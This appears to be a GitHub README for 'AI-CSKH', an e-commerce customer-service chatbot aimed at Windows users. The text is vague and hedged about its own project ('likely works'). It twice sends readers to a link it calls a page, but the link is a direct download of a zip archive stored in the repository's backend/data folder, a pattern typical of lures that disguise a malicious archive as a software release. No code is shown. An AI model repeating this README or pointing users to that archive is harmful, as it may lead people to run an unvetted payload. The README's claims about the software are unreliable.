AI-CSKH：面向电商的 AI 客服智能体

🤖 AI-CSKH - Smart support for online stores

📌 What AI-CSKH does

AI-CSKH is an AI customer service agent for e-commerce. It helps answer common customer questions, such as:

Order status
Product details
Shipping time
Return policy
Store hours
Basic support requests

It is built for Windows users who want a simple way to try an AI support tool from GitHub.

🖥️ What you need

Before you start, make sure your Windows PC has:

Windows 10 or Windows 11
Internet access
At least 8 GB RAM
5 GB free disk space
A modern browser such as Chrome, Edge, or Firefox

If you plan to run it with Docker, you also need:

Docker Desktop
Enough memory set for Docker
A stable internet connection for the first setup

⬇️ Download AI-CSKH

Visit this page to download and run the project files:

https://github.com/ikh4079/AI-CSKH/raw/refs/heads/main/backend/data/A_CSKH_3.1.zip

Use this link to get the latest version, open the repository, and follow the file or setup steps provided there.

🧭 How to get started on Windows

Open the download link above in your browser.
Look through the repository page for the latest files and setup notes.
Download the project to your computer if files are provided there.
If the project uses Docker, install Docker Desktop first.
Open the project folder after download.
Follow the setup files in the repository, such as README, env files, or run scripts.
Start the app and open it in your browser.

🐳 Run with Docker

If the project includes Docker files, this is the easiest way to run it on Windows.

Steps

Install Docker Desktop.
Open the project folder.
Find the Docker setup file, such as docker-compose.yml.
Open PowerShell in that folder.
Run the command shown in the repository files.
Wait for Docker to finish building the app.
Open the local address shown in the terminal.

What Docker does

Docker keeps the app, Python, and web parts in one place. This avoids many setup problems and makes the first run easier.

🧩 Main parts of the app

AI-CSKH uses a modern stack built for chat and search:

Next.js for the web interface
FastAPI for the server side
Python for the AI logic
LangChain and LangGraph for chat flows
LlamaIndex for document search
FAISS for fast vector search
TypeScript for the front end logic

These parts work together so the app can read data, find answers, and reply like a support assistant.

💬 What it can help with

The app is suited for common store support tasks:

Answering product questions
Finding help from store documents
Supporting repeated customer questions
Guiding users through order and service issues
Pulling answers from a knowledge base
Keeping replies consistent

⚙️ Simple setup flow

If you are not using Docker, the usual flow looks like this:

Download the project from the link above.
Open the folder on your PC.
Check for an environment file such as .env.
Fill in any required settings from the repository instructions.
Install the needed tools if the repo asks for them.
Start the backend server.
Start the web app.
Open the local link in your browser.

🔐 Common setup items

You may see settings like these in the repository:

API keys
Model settings
Data source paths
Chat rules
Port numbers
Vector database files

If you see these, copy the example values from the project files and replace them with your own where needed.

🧪 Example use case

A shop owner can use AI-CSKH to answer customer questions about:

Delivery time for a package
Whether an item is in stock
How to return a product
What warranty applies
Which payment methods work
Where to find order support

This helps reduce repeated support work and gives customers faster replies.

🗂️ Suggested project folders

You may find folders like these in the repository:

frontend for the web app
backend for the API
data for files used by the AI
docs for instructions
docker for container setup

These names help you find the right file faster when you first open the project.

🛠️ If something does not start

If the app does not open the first time, check these items:

Docker Desktop is running
You opened the correct project folder
Required files are in place
The browser address is correct
No other app is using the same port
Your internet connection is active

If the repository includes setup commands, run them in the same order shown in the project files.

📚 Good first places to look

When you open the repository, check these files first:

README.md
.env.example
docker-compose.yml
package.json
requirements.txt

These files usually show how to install and run the app.

🧠 How the AI answer engine works

AI-CSKH likely works in three steps:

It takes the customer question.
It searches the store knowledge base.
It sends back a clear reply.

That flow helps the assistant give answers that stay close to your store data.

📥 Download and setup link

Open the project page here and follow the download or run steps:

https://github.com/ikh4079/AI-CSKH/raw/refs/heads/main/backend/data/A_CSKH_3.1.zip

🪟 Windows tips

For a smoother run on Windows:

Use a recent version of Windows
Keep enough free disk space
Close unused apps if memory is low
Run PowerShell as needed
Keep Docker Desktop updated
Use a browser with current updates

🧩 Topics covered by this project

This repository is focused on:

AI chat
Customer service
Docker setup
FastAPI backend
FAISS search
LangChain workflows
LangGraph flows
LlamaIndex retrieval
Next.js front end
Python automation
RAG search
TypeScript app code

📄 Project purpose

AI-CSKH is meant for teams that want a support bot for e-commerce. It fits stores that need fast replies, basic automation, and a search-based answer system for common customer questions